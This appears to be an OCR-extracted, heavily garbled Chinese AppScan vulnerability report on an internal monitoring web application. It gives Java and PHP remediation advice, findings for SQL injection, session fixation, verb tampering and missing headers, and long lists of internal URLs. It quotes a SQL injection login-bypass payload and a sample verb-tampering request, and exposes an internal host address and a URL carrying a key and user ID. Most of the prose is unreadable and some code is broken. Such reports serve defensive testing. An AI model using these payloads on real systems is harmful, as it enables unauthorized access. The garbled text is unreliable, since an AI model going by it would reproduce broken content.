<%@ page isErrorPage="true" %>

isErrorPage 1154 S #“exception”2E B W 4A 1k A ATl 1) 53 8 5 5.

[3] B4R

J2SE Internationalization AP $& 4t 8 F2 P IR AMBAL DL B AL se R 28, P45

(a) TIEH

(b) T4 Bk AL

[3-a] B
R A K A A B A P Z A TR AAD 23 B RS R E Bk o R SR o A St Ak s M i s
ARG T 23 B RS FFE Bl . B — BHRR AR S RS 8 (IG5 IR B A7 fi Ba (B0 P 55 o

java.util.PropertyResourceBundle #4 A & E AL SN E8 R M SCAE b, S L BEAT 0 Bl R # AR H L, 40 LA R ol s«

fiddddsassssssdddddssssddddddaaadatstas it ssssdd

# ErrorMessages.properties

HHAHHHE R R

# required user name error message
error.username.required=User name field is required
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# invalid user name format
error.username.alphanumeric=User name must be alphanumeric

# duplicate user name error message
error.username.duplicate=User name {0} already exists, please choose another one

AIE L ZF R, DR FEPE SIS (R AEERD o #lan, 715E X ErrorMessages_fr.properties PL3ZFFi%
WAV INEER R . G RERIE SRR TR S ATELE, A AsE R . EoL FoREI, g B2
ErrorMessages.properties. 325 (JSP 5t Serviet) £ R¥EFH /- (IiE S I MOE AR R RN A .

[3-b] 7K B A% =k

J2SE #rifEZ4 java.util. MessageFormat $& fibf5 F 2 4 5 A Rk Gl e 9 B8 7775 . MessageFormat X SAEL SN T
e RBAFIBR R Z RS, W AR

// Example to show how to format a message using placeholder parameters
String pattern = "User name {0} already exists, please choose another one";
String userName = request.getParameter ("user_name") ;

Object[] args = new Object[1l];

args[0] = userName;

String message = MessageFormat.format (pattern, args);

PL T 2Z1# /] ResourceBundle #1 MessageFormat 3¢ 5 F 4 % 78 B A 58 4 i i1

// Example to render an error message from a localized ErrorMessages resource (properties file)
// Utility class to retrieve locale-specific error messages
public Class ErrorMessageResource {

// Returns the error message for the specified error key in the environment locale
public String getErrorMessage (String errorKey) {
return getErrorMessage (errorKey, defaultLocale);

// Returns the error message for the specified error key in the specified locale
public String getErrorMessage (String errorKey, Locale locale) {
return getErrorMessage (errorKey, null, locale);

// Returns a formatted error message for the specified error key in the specified locale
public String getErrorMessage (String errorKey, Object[] args, Locale locale) {
// Get localized ErrorMessageResource
ResourceBundle errorMessageResource = ResourceBundle.getBundle ("ErrorMessages", locale);
// Get localized error message
String errorMessage = errorMessageResource.getString(errorKey) ;
if (args != null) {
// Format the message using the specified placeholders args
return MessageFormat.format (errorMessage, args);
} else {
return errorMessage;

// default environment locale
private Locale defaultLocale = Locale.getDefaultLocale();
}

// Get the user's locale

Locale userLocale = request.getLocale();

// Check if there were any validation errors

Errors errors = (Errors)request.getAttribute ("errors");

if (errors != null && errors.hasErrors()) {
// iterate through errors and output error messages corresponding to the "user name" property
ArraylList userNameErrors = errors.getErrors("user name");
ListIterator iterator = userNameErrors.iterator();
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while (iterator.hasNext()) {
// Get the next error object
Error error = (Error)iterator.next();
String errorMessage = ErrorMessageResource.getErrorMessage (error.getKey (), userLocale);
output.write (errorMessage + "\r\n");

FUE XEH] JSP FRid (W displayErrors) , DLEARALER I 2R S, WLl ERBIFTR,

[4] %% we st

WBEBOLT, “Serviet 2848”2 1R [F] 55 Wi IR 2560 5 5 5 AR BRI B R DU AT U F 2 il B 2 DT SR 45 2 IR A 1Y
B S Web SR B MU I B2 TT R A 2l i S IR S B S EHA T (BRETBLT, K
Servlet ZFEHE SRS AMAHRIEE) o ZMURE B £ Web #E AT (web.xmD) i, LI R FIATHEE:

<!-- Mapping of HTTP error codes and application exceptions to error pages -->

<error-page>
<exception-type>UserValidationException</exception-type>
<location>/errors/validationError.html</error-page>

</error-page>

<error-page>
<error-code>500</exception-type>
<location>/errors/internalError.html</error-page>

</error-page>

<error-page>

</error-page>

A T JAVA TR T AR 5545 3mSR R P A 2 2 Java HEZLJE -

[1] Jakarta Commons Validator (4 Struts 1.1 ££/%) Jakarta Commons Validator/& Java #E42, & S0 Fd i4s iR
ALBENLA o BOAIE RN C B AE XML b, 23058 ST 3R B A N B0 B AU LARGS B2 B0 IE A 1R % 8. Struts 42
P BRAY SRR U 53R AR Sk A ki @ A A B AR

{4 F“Struts J&1iF 2% SR I IE loginForm [¥) userName B¢ ({715l

<form-validation>
<global>

<validator name="required"
classname="org.apache.struts.validator.FieldChecks"
method="validateRequired"
msg="errors.required">

</validator>

<validator name="mask"
classname="org.apache.struts.validator.FieldChecks"
method="validateMask"
msg="errors.invalid">

</validator>
</global>
<formset>
<form name="loginForm">
<!-- userName is required and is alpha-numeric case insensitive -->
<field property="userName" depends="required,mask">
<!-- message resource key to display if validation fails -->

<msg name="mask" key="login.userName.maskmsg"/>
<arg0 key="login.userName.displayname"/>
<var>
<var*name>mask</varfname>
<var-value>"[a-zA-7Z0-9]*$</var-value>
</var>
</field>
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</form>

</formset>
</form-validation>

Struts JSP Fric € X T A s A EoR —H RIFRT R S K errors™brid, WL TRl iTR -

<%@ page language="java" %>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
<html:html>
<head>
<body>
<html:form action="/logon.do">
<table border="0" width="100%">
<tr>
<th align="right">
<html:errors property="username"/>
<bean:message key="prompt.username"/>
</th>
<td align="left">
<html:text property="username" size="16"/>
</td>
</tr>
<tr>
<td align="right">
<html:submit><bean:message key="button.submit"/></html:submit>
</td>
<td align="right">
<html:reset><bean:message key="button.reset"/></html:reset>
</td>
</tr>
</table>
</html:form>
</body>
</html:html>

[2] JavaServer Faces A
“JavaServer Faces HiAR" & —4 MK Ul A1, BEAMPRS. LBEL. RN FEERRMLE Java APl (JSR
127) .

JavaServer Faces API 52 X “output_errors”UIOutput AbFE2S, ZA0FE 2% /R 3N DU 45 R E 5., 5548 5 i
PRI R A 1RV S o
{§i [ JavaServer Faces I loginForm ] userName Bt 741 -

o

VvV Vv

<%@ taglib uri="http://java.sun.com/jsf/html" prefix="h"
<%@ taglib uri="http://java.sun.com/jsf/core" prefix="f"

o

<jsp:useBean id="UserBean"
class="myApplication.UserBean" scope="session" />
<f:use_faces>
<h:form formName="loginForm" >
<h:input_text id="userName" size="20" modelReference="UserBean.userName">
<f:validate_required/>
<f:validate_length minimum="8" maximum="20"/>
</h:input_text>
<!-- display errors if present -->
<h:output_errors id="loginErrors" clientId="userName"/>
<h:command button id="submit" label="Submit" commandName="submit" /><p>
</h:form>
</f:use_faces>
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51 H

Java API 1.3 -
http://java.sun.com/j2se/1.3/docs/api/

Java APl 1.4 -
http://java.sun.com/j2se/1.4/docs/api/

Java Servlet API 2.3 -
http://java.sun.com/products/serviet/2.3/javadoc/
Java IEMIZFiE XA —
http://jakarta.apache.org/regexp/

Jakarta B8 iE#F —
http://jakarta.apache.org/commons/validator/
JavaServer Faces #i & —
http://java.sun.com/j2ee/javaserverfaces/

PHP

A BARIAE: BRI TR )R R SR PRI, (RO IR AE RS AR B AT BRI . % o
WAEA SR A LS, POVIREIE T S oeid, filtn, @it H Javascript.
~%H@%ﬁﬁ%%gwwﬁﬁ%ﬁﬁﬁ,u%&%%ﬁﬁimﬁﬁwﬁ,Mﬁ%ﬁu?WE:

[1] 7

[2] BRI (BRETEOLT, I HTTP iR SHH 455

[3] FBLKE

[4] 7B

[5] 7 BUZ I

6] 7 BUR

[7] cookie 1

[8] HTTP i)

U B A SC I — A B N IUE R N AR P S E R . DL A A — LR A KR B

] 2HFERER A TBANE, FHRKEERNTE, AFETENE IR A iein s & 7 B w6l

// PHP example to validate required fields
function validateRequired ($input) {

Spass = false;

if (strlen(trim($input))>0) {
Spass = true;

}

return $pass;
}

if (validateRequired ($fieldName)) {
// fieldName is valid, continue processing request

[2] N Web B FFER o i 7 BB R B M N S50 k. Blin, B HTTP & RS 88k cookie 1H KIS HR & 74
B, FFREHEATTRIFR AR BIE RIS G EM . [3] FBEERA AR ASE (HTTP &R 245 cookie H) A
AN RN B B KK FE B . [4] B

TR PRI S EUETE TN RE TR SR 2 TE Y

[5] FBiE Il Web B HFE 785 2 9 - SR — T LR Bk (i, f#H SELECT HTML #rid) , {EAREPAT
R 45 3% i B AIE DURA AR08 [E B b — AN e VPRI T 3530, SR BRI SIS ST IR TME . A A X ThRe T
SRIE X2 F VIR TR IR % 52 O P B . [6] F-EXi X

IR A P NS HIhRE T R e YR SCR BILHE . B0, H userName FENAN U F F R T 74, HAK S

KNG, WaiFFEHLFENRZER: Aa-zA-Z0-9]+$

[7] cookie 1H
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http://java.sun.com/j2se/1.3/docs/api/
http://java.sun.com/j2se/1.4/docs/api/
http://java.sun.com/products/servlet/2.3/javadoc/
http://jakarta.apache.org/regexp/
http://jakarta.apache.org/commons/validator/
http://java.sun.com/j2ee/javaserverfaces/

iEH T cookie {HFIARFIISEAUERIN (o ERTiR) BUkF N FER (RIELFE. BIEKES) .

[8] HTTP 1

[8-1] 3zt 75 FH = A N BRSO T I il s VA g 16 A s, T R 38 7 3 e o R R T 8 oy LS N PR 7 9 iAok
T HTML. X462 HTML 8URF8: <>""%;) (& +

PHP 8 — 158 [ 201035 2 52 2P ik 4L, 0 htmlentities():

Sinput = htmlentities($input, ENT_QUOTES, 'UTF-8');

BBAh, D 7 G kAR G )R UTF-7 224k, B RZ 2 200E W R2F) Content-Type Sk, f140:

<?php
header ('Content-Type: text/html; charset=UTF-8');

?>

[8-2] f&# cookie

£ cookie H 17 fit BUBEYE HiBiT SSL RAEHIAT, MRS/ HTTP W % E cookie % 4tridi. XK EHRNHE
PAGER SSL E kAl % cookie.

N TR cookie, AT LMEH DL ARG R B -

<$php

Svalue = "some_value";
Stime = time ()+3600;
Spath = "/application/";
$domain = ".example.com";
$secure = 1;

setcookie ("CookieName", $value, $time, $path, $domain, S$secure, TRUE);
2>

Ak, FRATE BT HitpOnly A7, 24 HttpOnly & E 4 TRUE B, ¥ Hik
HEURETIEHMAES (W JavaScript) SKifi il cookie. 1% & F 4G 2ot # Bhyg b
SRR WA SCRZR ED .

7E PHP 5.2.0 ¥ T HttpOnly 5.

SIH] £ HTTP & H cookie SRy i3k i A g il 1 R4 10 «
http://msdn2.microsoft.com/en-us/library/ms533046.aspx

[2] PHP 242

http://phpsec.org/

[3] PHP F1 Web R HF2E/7 %2 418 % (Chris Shiflett):

http://shiflett.org/

HTTP #0301 cookie. X

i XSS Fridi # B I OL (R
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http://msdn2.microsoft.com/en-us/library/ms533046.aspx
http://phpsec.org/
http://shiflett.org/

&)

5/ SQL HEARAUESS #% Toc

UIRFEASIEE
PR 30

JEH 732
bj\lll'/f\fbéj\

JRIA:
ST PN IE AT f e 3

AR
A 252 IF Web BT FL By E B

X-Force:
8783

CIDEEE
“Web Application Disassembly with ODBC Error Messages” (£ : David Litchfield)
SQL Injection Training Module

PRSI IR -
TN R P R ) ORI WL AR T R T3 A7 AE S N BB T S AT MEL, (R AN RI A5 F P alid il Sead i R HL 1 77 ok A%
SN o FERRE F P BN B AT 22 R (BN ERNIRZ RO I, Bk 3 AT Seid BT I 22 ORI L o ARSEAH R A

R

SELECT COUNT (*) FROM accounts WHERE username='S$user' AND password='$pass'
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http://projects.webappsec.org/Insufficient-Authentication
http://cwe.mitre.org/data/definitions/566.html
http://xforce.iss.net/xforce/xfdb/8783
http://www.cgisecurity.com/lib/webappdis.doc
http://download.boulder.ibm.com/ibmdl/pub/software/dw/richmedia/rational/08/appscan_demos/sqlinjection/viewer.swf#recorded_advisory

Hrt $user 1 $pass £ AN ONRA T i AW AR HTTP iE kit 7 idE - kB GET Wi RAWSH, =&
KH POST iFREMESHD o EMEWKFEIAZET, 8 $user=john. $password=secret123. FMHIEWMT:

SELECT COUNT (*) FROM accounts WHERE username='john' AND password='secretl23'

TR B A X R R AR, TR AW R 0; B (RIEUER TG 4 8 ohn IR 7, %G

A secret123”) , 455 >0, X¥FAMENHFEF AR VIENS] . (H)2, B T DUs i HeAe DL E RS thpL i -
$user=john, $password=' OR '1'="1,

AR E WA

SELECT COUNT (*) FROM accounts WHERE username='john' AND password='' OR 'l'='1l"

XFREM (FE SQL D) X T Yjohn' H Kk H TRUE, DAL 1=1 7KLy true. [, EWDRR E—A
%L BIWA T (BGh#ED Joms mE S i WA e a2

EMRF B IR roc

IR ERILE
LR R 3

JBU 732K
fEfE YR

JRIA -
VR P BRGSO BRI\ T BRGNS BISAT T 3%

AR
T h £ GV P 4% PSR SR G MRS T OB P B S

w57, KL it =2 [
525 M P

CWE:
523

X-Force:
52471
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http://projects.webappsec.org/Insufficient-Transport-Layer-Protection
http://cwe.mitre.org/data/definitions/523.html
http://xforce.iss.net/xforce/xfdb/52471

EI0EE

SRR FARL: The Gramm-Leach Bliley Act

Health Insurance Portability and Accountability Act (HIPAA)
Sarbanes-Oxley Act

California SB1386

PRSI IR -

FERLRE P B R v, A I BRI 1) SRR AE B 55 a5 .l T sad R v o A s o N 7 B (il
U4 B IR hE .t e S RAABBEE, FIbEBCEINEER (Flan SSL) KA RRSS
Ao

ARAAT LA SCAR 25 R 55 a5 1A S AR T BEAR 3, A Ja vl PR v 7303 B 0y B D0 P

BEAh, B TRABGEMIE L, FP IR MU B —H U 77 Utk 4s Web 3t ki

Authentication Bypass Using HTTP Verb Tampering TOC

MRS -
BR300

B 733
WERFE 4

J A
Web [ F 45 Rt L A 22 4

2 VE X :
n WTRESTRT PRI Web SRR I RV TR
o TRESHCHEAT O Web BRI IBUBE R, TP 4 BER L BLR A A/ SRR P B

557, 51 it < [
Pf’éﬁlfur‘ﬂﬁﬂu:

EI0EE

Bypassing VBAAC with HTTP Verb Tampering
Http Verb Tempering - Bypassing Web Authentication and Authorization

FORHIA -

Many web servers allow configuring access control using HTTP Methods (a.k.a Verbs), enabling access using one or
more methods.

The problem is that many of those configuration implementations ALLOW access to methods that were not listed in
the access control rule, resulting in access control breach.

Sample Exploit:

BOGUS /some_protected_resource.html HTTP/1.1
host: www.vulnerable_site.com
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http://business.ftc.gov/privacy-and-security/gramm-leach-bliley-act/
http://www.hhs.gov/ocr/hipaa/
http://www.sec.gov/spotlight/sarbanes-oxley.htm
http://info.sen.ca.gov/pub/01-02/bill/sen/sb_1351-1400/sb_1386_bill_20020926_chaptered.html
http://projects.webappsec.org/Insufficient-Authentication
http://www.aspectsecurity.com/research-presentations/bypassing-vbaac-with-http-verb-tampering
http://resources.infosecinstitute.com/http-verb-tempering-bypassing-web-authentication-and-authorization/

AR AR E B Toc

MRS
ISHE R OTHIE

}—ngjj /\7!%

S EE

J A
Web 57 Fi1 7 5 P B B AN 4

A VE S -
Al A2 o BRI 1 15 M cookie, EAITATEEH TGS, AITAE BB & Be % LI P S A 5 538 3 Pl
EULRPATHSE

B/ -~z b
25 P i

CWE:
304

X-Force:
52863

EI0EE

“Session Fixation Vulnerability in Web-based Applications”, {£#: Mitja Kolsek - Acros Security
PHP Manual, Session Handling Functions, Sessions and security

FEARFHIR :

FEANUE R P sl DA A 5 s 8 P 2518, RIS £8P R, W B E ML S 5 R S NEM 215
BN SO 2 MR BIX R 5t

[1] Web N HFRFIERA B oK BRIA S KB O N UER 7, mEiedn, S8 5 M 0B

[2] B # Ree s fi0 F P 8 C 2 AR, X — B P T UGE, B A BT 1) S E ) 20

[3] B FH A2 > B A5 FH AT T 1 2 1 A i

T 221 8 I TR 1) S s R R AR K%%Tw%fﬁﬁfi@@ﬁ 1, FHILE RN AR5, BahE s
152 B AF PSR IR ET X IR S5 AR HEAT ORI, FFEATREHHTINIE, B E et Ed iEai e ﬁw@ﬁFWMF
AppScan KITEZ FIFEZ AT Z G AR R TEHT, REWRE A TR AR E F 7 pE L. wFR sl sk knig
TetERIYE, BEERIRE S RN SRS

Wi e :

mﬁﬁﬁﬁﬁx%%%mwﬁﬁﬂﬁ%iﬁﬁmﬁﬁ%*%%ﬁ

b) —HATHRH, BHEHE TEm I UE, RE%R

c) TEZHH G B 5 2 Bk ki piff, Hes ﬁﬁﬁTAE%

d) SR 5 Wi nr R A S R BUESR B E 2 E R, FERLZH P S R

STFR VB AT 30 I R sl e B A ) S5 1 (R B2 T AR TR I R By 52 BU iRl s I A T 215 b
PO SRIREL, B RSl [ e B CR R B0 5 ) 52 3 2 I B AR PR AT 2l FR IR SRIRERL

2019/6/24 200


http://projects.webappsec.org/Session-Fixation
http://cwe.mitre.org/data/definitions/304.html
http://xforce.iss.net/xforce/xfdb/52863
http://www.acrossecurity.com/papers/session_fixation.pdf
http://il2.php.net/session#session.security

Missing "Content-Security-Policy" header TOC

MRS -
BR300

B 2K

15 Bt

J A
Web [ F 45 Rt L A 22 4

2 VE X :
o ATRESTHEA O Web NIRRT MBUSE R, WP 4, H . HLE A R/ SRiUs s v
o ATRESOMBAIG PSRGPTSRI SRR R

57, 51 it < [
Pf’éﬁlfur‘ﬂﬁﬂu:

EI0EE

List of useful HTTP headers
An Introduction to Content Security Policy

BORFHIR -

The "Content-Security-Policy" header is designed to modify the way browsers render pages, and thus to protect from
various cross-site injections, including Cross-Site Scripting. It is important to set the header value correctly, in a way
that will not prevent proper operation of the web site. For example, if the header is set to prevent execution of inline
JavaScript, the web site must not use inline JavaScript in it's pages.
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51
List of useful HTTP headers
Reducing MIME type security risks

BORFHIA -

The "X-Content-Type-Options" header (with "nosniff" value) prevents IE and Chrome from ignoring the content-type
of a response.

This action may prevent untrusted content (e.g. user uploaded content) from being executed on the user browser
(after a malicious naming, for example).
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List of useful HTTP headers
IE XSS Filter

BORHIA -
The "X-XSS-Protection" header forces the Cross-Site Scripting filter into Enable mode, even if disabled by the user.

This filter is built into most recent web browsers (IE 8+, Chrome 4+), and is usually enabled by default. Although it is
not designed as first and only defence against Cross-Site Scripting, it acts as an additional layer of protection.
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Tk

KIBUFIER ® Toc

URL EH
http://172.20.7.168:8083/amOnline/app/psinfo/static/am/template/psinfo/opt/deleteInfo.html m RLR AR 404" —
HAE]
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http://172.20.7.168:8083/amOnline/app/psinfo/static/am/template/psinfo/setFlowRlation.html

http://172.20.7.168:8083/amOnline/app/psinfo/static/am/template/psinfo/setinstallationLocation.

html

http://172.20.7.168:8083/amOnline/app/psinfo/static/am/template/psinfo/monitoritem_watermp.

html

http://172.20.7.168:8083/amOnline/app/psinfo/static/am/template/psinfo/monitorltem_airmp.ht

ml

http://172.20.7.168:8083/amOnline/app/psinfo/static/am/template/psinfo/monitoritem_inmp.html

http://172.20.7.168:8083/amOnline/app/psinfo/static/am/template/childrenAccount/contacts_inf
o.html

http://172.20.7.168:8083/amOnline/app/account/static/am/template/childrenAccount/user_edit.

html

http://172.20.7.168:8083/amOnline/app/monitorspot/static/am/template/onsite/mpstop_merge.h

tml

http://172.20.7.168:8083/amOnline/app/monitorspot/static/am/template/abnormity/abnormal_fil
elist.html

http://172.20.7.168:8083/amOnline/app/monitorspot/static/am/template/onsite/onsit_merge_sc.

html

http://172.20.7.168:8083/amOnline/app/monitorspot/static/am/template/onsite/onsit_merge.htm

http://172.20.7.168:8083/amOnline/app/revisedmanage/static/am/template/revisedmanage/dat
aRound-rounding.html

it R URL @p

URL

http://172.20.7.168:8083/amOnline/static/images/favicon.ico
http://172.20.7.168:8083/amOnline/static/script/themes/default/ui.css
http://172.20.7.168:8083/amOnline/static/themes/default/login.css
http://172.20.7.168:8083/amOnline/static/script/themes/icon.css
http://172.20.7.168:8083/amOnline/static/themes/default/app.css
http://172.20.7.168:8083/amOnline/static/script/jquery2.js
http://172.20.7.168:8083/amOnline/static/script/jquery2.js
http://172.20.7.168:8083/amOnline/static/script/jquery-migrate-1.2.1.js
http://172.20.7.168:8083/amOnline/static/script/jquery-migrate-1.2.1.js

http://172.20.7.168:8083/amOnline/static/script/jquery.ui.js
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http://172.20.7.168:8083/amOnline/static/script/jquery.ui.js

http://172.20.7.168:8083/amOnline/static/script/locale/ui-lang-zh_CN.js

http://172.20.7.168:8083/amOnline/static/script/locale/ui-lang-zh_CN.js

http://172.20.7.168:8083/amOnline/static/script/core.js
http://172.20.7.168:8083/amOnline/static/script/core.js
http://172.20.7.168:8083/amOnline/static/script/common.js

http://172.20.7.168:8083/amOnline/static/script/common.js

http://172.20.7.168:8083/amOnline/static/script/AppLogin.js?v=20171023

http://172.20.7.168:8083/amOnline/static/script/AppLogin.js?v=20171023

http://172.20.7.168:8083/amOnline/static/am/vendor/zxkf/kefu.js

http://172.20.7.168:8083/amOnline/static/am/vendor/zxkf/kefu.js

http://172.20.7.168:8083/amOnline/static/am/vendor/zxkf/zxkf.css
http://172.20.7.168:8083/amOnline/static/script/jquery.qrcode.min.js

http://172.20.7.168:8083/amOnline/static/script/jquery.qrcode.min.js

http://172.20.7.168:8083/amOnline/static/script/qr.code.login.js

http://172.20.7.168:8083/amOnline/static/script/qr.code.login.js

http://172.20.7.168:8083/amOnline/static/themes/default/images/|_m_title_info.png

http://172.20.7.168:8083/amOnline/static/8.jpg

http://gymonitor.envsc.cn/amHelp/main.html

http://172.20.7.168:8083/amOnline/static/images/login_type_sm.png
http://172.20.7.168:8083/amOnline/static/images/login_type_yh.png

http://172.20.7.168:8083/amOnline/static/images/login_type_yzm.png

http://172.20.7.168:8083/amOnline/app/j_spring_security_check
http://172.20.7.168:8083/amOnline/app/AppLogin.page
http://172.20.7.168:8083/amOnline/app/AppLogin.page
http://172.20.7.168:8083/amOnline/app/j_spring_security_check
http://172.20.7.168:8083/amOnline/app/j_spring_security_check
http://172.20.7.168:8083/amOnline/app/AppLogin.page

http://172.20.7.168:8083/amOnline/app/AppLogin.page?loginError=auth_failed
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http://172.20.7.168:8083/amOnline/app/j_spring_security_check
http://172.20.7.168:8083/amOnline/app/AppLogin.page?loginError=auth_failed
http://172.20.7.168:8083/amOnline/static/am/themes/default/main.css

http://172.20.7.168:8083/amOnline/static/am/themes/default/psview.css
http://172.20.7.168:8083/amOnline/static/am/script/all.js
http://172.20.7.168:8083/amOnline/static/am/script/all.js
http://172.20.7.168:8083/amOnline/static/am/script/jf-view.js
http://172.20.7.168:8083/amOnline/static/am/script/jf-view.js
http://172.20.7.168:8083/amOnline/static/am/vendor/help/css/jquery.pagewalkthrough.css
http://172.20.7.168:8083/amOnline/static/am/vendor/help/script/jquery.pagewalkthrough.min.js
http://172.20.7.168:8083/amOnline/static/am/vendor/help/script/jquery.pagewalkthrough.min.js
http://172.20.7.168:8083/amOnline/static/themes/vocs/images/link_info.png
http://172.20.7.168:8083/amOnline/static/themes/vocs/images/link_info_hover.png
http://172.20.7.168:8083/amOnline/static/layui/css/layui.css
http://172.20.7.168:8083/amOnline/static/layui/images/ooopic_1509436490.png
http://172.20.7.168:8083/amOnline/static/layui/layui.js

http://172.20.7.168:8083/amOnline/static/layui/layui.js

http://m.envsc.cn/WXIndexPSForQYD.aspx?key=wPLFgACAKGA&pscode=140000000223&userid=

032CFE6B-3293-47DA-957A-2F0C21A2AA6B3')
http://172.20.7.168:8083/amOnline/app/j_spring_security_check
http://172.20.7.168:8083/amOnline/static/am/script/jf-autocomplete.js

http://172.20.7.168:8083/amOnline/static/am/script/jf-autocomplete.js
http://172.20.7.168:8083/amOnline/static/am/vendor/my97datepicker/WdatePicker.js
http://172.20.7.168:8083/amOnline/static/am/vendor/my97datepicker/WdatePicker.js
http://172.20.7.168:8083/amOnline/static/am/vendor/uploadfy/swfobject.js
http://172.20.7.168:8083/amOnline/static/am/vendor/uploadfy/swfobject.js
http://172.20.7.168:8083/amOnline/static/am/vendor/uploadfy/jquery.uploadify.v2.1.0.min.js
http://172.20.7.168:8083/amOnline/static/am/vendor/uploadfy/jquery.uploadify.v2.1.0.min.js

http://172.20.7.168:8083/amOnline/static/am/vendor/echarts/dist/echarts.js
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=

http://172.20.7.168:8083/amOnline/static/am/vendor/echarts/dist/echarts.js jcﬁﬁLF)”\Ui%i
pa
http://172.20.7.168:8083/amOnline/static/am/vendor/lodop/LodopFuncs.js jQ%EUlH%ii
I
http://172.20.7.168:8083/amOnline/static/am/vendor/lodop/LodopFuncs.js jcﬁﬁﬂi)rlﬂi%i
pa
http://172.20.7.168:8083/amOnline/static/am/script/historyData.js?version=20181219 %%EW\H@J‘&
xI
http://172.20.7.168:8083/amOnline/static/am/script/historyData.js?version=20181219 jcﬁﬁﬁ)”\ﬂi%i
pa
http://172.20.7.168:8083/amOnline/static/am/vendor/echarts/dist/echarts-all.js %%E)ﬂﬂﬁﬁs
ps
http://172.20.7.168:8083/amOnline/static/am/vendor/echarts/dist/echarts-all.js jcﬁﬁE)”\Ui'%ii
I
http://172.20.7.168:8083/amOnline/app/AppLogin.page 741l DOM
http://172.20.7.168:8083/amOnline/app/AppLogin.page 744l DOM
http://172.20.7.168:8083/amOnline/app/j_spring_security_check Al DOM
http://172.20.7.168:8083/amOnline/app/j_spring_security_check Al DOM
http://172.20.7.168:8083/amOnline/app/AppLogin.page Z%{el DOM
http://172.20.7.168:8083/amOnline/app/AppMain.page 744l DOM
http://172.20.7.168:8083/amOnline/app/psinfo/psinfolview.page Al DOM
http://172.20.7.168:8083/amOnline/app/onlinemon/onlineAction'history.page Al DOM
http://172.20.7.168:8083/amOnline/app/monitorspot/spotActionllist.page Al DOM
http://172.20.7.168:8083/amOnline/app/monitorspot/stopAction!list.page Al DOM
http://172.20.7.168:8083/amOnline/app/account/accountActionllist.page Al DOM
http://172.20.7.168:8083/amOnline/app/AppMain.page Al DOM
http://172.20.7.168:8083/amOnline/app/psinfo/psinfolview.page Al DOM
http://172.20.7.168:8083/amOnline/app/psinfo/psinfollistPsinfo.page?psid=&_=1561344969637 Al DOM
http://172.20.7.168:8083/amOnline/app/onlinemon/onlineAction'history.page Al DOM
http://172.20.7.168:8083/amOnline/app/onlinemon/onlineAction!getPollutantsWithPsID.page?psID=5 2:ftl DOM
10101055565
http://172.20.7.168:8083/amOnline/app/monitorspot/spotActionllist.page 754l DOM
http://172.20.7.168:8083/amOnline/app/monitorspot/spotAction!findAcceptinfos.page 754l DOM
http://172.20.7.168:8083/amOnline/app/monitorspot/stopActionllist.page 754l DOM
http://172.20.7.168:8083/amOnline/app/monitorspot/stopAction!findStopInfos.page 754l DOM
http://172.20.7.168:8083/amOnline/app/abnormity/abnormityAction!list.page 754l DOM
http://172.20.7.168:8083/amOnline/app/abnormity/abnormityAction!abnormity.page Z:{e. DOM
http://172.20.7.168:8083/amOnline/app/account/accountActionllist.page Z4{el DOM
http://172.20.7.168:8083/amOnline/app/psinfoadmin/psinfolview.page 24l DOM
http://172.20.7.168:8083/amOnline/app/revisedmanageadmin/revisedActionllist.page Z5{el DOM
http://172.20.7.168:8083/amOnline/static/themes/exception.css jcﬁﬁE}”\Ui%‘i
X
http://172.20.7.168:8083/amOnline/app/AppMain.page ZA DOM
http://172.20.7.168:8083/amOnline/app/psinfo/psinfolview.page A DOM
http://172.20.7.168:8083/amOnline/app/psinfo/psinfollistPsinfo.page?psid=&_=1561348844955 24l DOM
http://172.20.7.168:8083/amOnline/app/onlinemon/onlineAction'history.page 24l DOM

http://172.20.7.168:8083/amOnline/app/onlinemon/onlineAction!getPollutantsWithPsID.page?psID=5 2:ftl DOM
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10101055565

http://172.20.7.168:8083/amOnline/app/monitorspot/spotAction!list.page 244l DOM
http://172.20.7.168:8083/amOnline/app/monitorspot/spotAction!findAcceptinfos.page 244l DOM
http://172.20.7.168:8083/amOnline/app/monitorspot/stopAction!list.page 244l DOM
http://172.20.7.168:8083/amOnline/app/monitorspot/stopAction!findStoplnfos.page 244l DOM
http://172.20.7.168:8083/amOnline/app/abnormity/abnormityAction!list.page 244l DOM
http://172.20.7.168:8083/amOnline/app/abnormity/abnormityAction!abnormity.page Z:{e. DOM
http://172.20.7.168:8083/amOnline/app/account/accountActionllist.page 244l DOM
a2 3]

URL b 2

http://172.20.7.168:8083/am  {E4k 7% it

online/app/applogin.page

http://172.20.7.168:8083/am  F% & i

online/app/applogin.page

http://172.20.7.168:8083/am £ 4% liBegin

online/app/applogin.page
http://172.20.7.168:8083/am
online/app/appmain.page
http://172.20.7.168:8083/am
online/app/appmain.page

http://172.20.7.168:8083/am
online/app/appmain.page

http://172.20.7.168:8083/am
online/app/appmain.page
http://172.20.7.168:8083/am
online/app/psinfo/psinfolview
.page
http://172.20.7.168:8083/am
online/app/psinfo/psinfolview
.page
http://172.20.7.168:8083/am
online/app/psinfo/psinfolview
.page
http://172.20.7.168:8083/am

online/app/account/accounta
ctionllist.page

http://172.20.7.168:8083/am
online/app/account/accounta
ctionllist.page
http://172.20.7.168:8083/am
online/app/account/accounta
ctionllist.page
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LEX I (P& layui A FI7KTF- /0D

TOC

<dd><a href="#" onclick="loadlframe(‘app/viewmonitor/monitorDataAction!list.page')">

5 Bk </a></dd>
<li class="layui-nav-item" ><a href="#"

onclick="loadlframe('app/revisedmanage/revisedAction!list.page")"> % #E tx it </a></li>

<li class="layui-nav-item" ><a href="#"
onclick="loadlframe('http://m.envsc.cn/WXIndexPSForQYD.aspx?

key=wPLFgACAKGA&pscode=140000000223&userid=032CFE6B-3293-47DA-957A-

2F0C21A2AAB3')"> 1 B & fr</a></li>
R WARIRERE R RS BIAM,  FiRjsHin i 2 U IR A )

[if It IE 91>
<script src="../../static/am/vendor/help/script/html5.js"></script>
<l[endif]

- - begin

Ffl- - end

R AAL-24T- - begin

<td>fTHEXX: <input class="textBox w220" value="" id="search_regionCode" data-

tag="region" name="search_regionCode" /></td>

i FAE-217- - end
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http://172.20.7.168:8083/am %1% T. A#%- - begin
online/app/account/accounta

ctionllist.page

http://172.20.7.168:8083/am  ##% T.A.A%- - end
online/app/account/accounta

ctionllist.page

http://172.20.7.168:8083/am 3£ #%- - begin
online/app/account/accounta

ctionllist.page

http://172.20.7.168:8083/am £ #%- - end
online/app/account/accounta

ctionllist.page

http://172.20.7.168:8083/am X} 1&#E- - begin
online/app/account/accounta

ctionllist.page

http://172.20.7.168:8083/am  X}ififiE-end
online/app/account/accounta

ctionllist.page

